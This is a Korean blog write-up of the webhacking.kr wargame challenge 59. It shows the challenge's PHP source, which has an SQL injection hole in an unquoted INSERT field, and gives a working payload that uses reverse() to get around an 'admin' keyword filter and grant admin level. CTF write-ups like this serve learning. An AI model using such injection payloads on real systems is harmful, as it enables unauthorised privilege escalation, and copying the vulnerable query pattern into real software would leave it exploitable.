본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 59번

메인화면

회원가입란과 로그인란

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if($_POST['lid'] && isset($_POST['lphone'])){
    $_POST['lid'] = addslashes($_POST['lid']);
    $_POST['lphone'] = addslashes($_POST['lphone']);
    $result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
    if($result['id']){
      echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
      if($result['lv'] == "admin"){
      mysqli_query($db,"delete from chall59");
      solve(59);
    }
    echo "<br><a href=./?view_source=1>view-source</a>";
    exit();
    }
  }
  if($_POST['id'] && isset($_POST['phone'])){
    $_POST['id'] = addslashes($_POST['id']);
    $_POST['phone'] = addslashes($_POST['phone']);
    if(strlen($_POST['phone'])>=20) exit("Access Denied");
    if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
    if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
    mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
  }

 

소스코드

 

로그인 했을 때 lv가 admin이면 클리어

id: test

phone: 1234로 했을 때

lv는 guest임

 

lid lphnoe은 로그인이고

id, phone은 가입

 

id와 phone은 addslashes가 적용

id와 phone에서 둘 다 admin이 필터링되었고

phone에서

길이가 20자를 넘기면 안되고

0x, #, hex, char, ascii, ord select가 필터링되어있음

 

쿼리문으로

insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')

이렇게 있는데 id값은 문자열이지만 phone의 값은 문자열이 아니다

 

phone입력값으로 lv를 admin으로 만들어야하는데

admin은 필터링 되어있으니까

mysql reverse()함수를 이용

reverse는 문자열을 역순으로 출력

 

id를 nimda로 하고

phone에서 1, reverse(id))-- -를 주면

insert into chall59 values('nimda',1, reverse(id))-- -,'guest')

이런식으로 쿼리를 전달해서

id는 nimda이고

phone은 1

lv는 admin값을 주고 뒤는 주석처리를 할 수 있게 된다

 

그리고 로그인할 때

id: nimda

phone: 1

클리어

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 32번  (0) 2019.12.06
Webhacking.kr 26번  (0) 2019.12.06
Webhackig.kr 24번  (0) 2019.12.05
Webhacking.kr 58번  (0) 2019.12.05
Webhacking.kr 19번  (0) 2019.12.04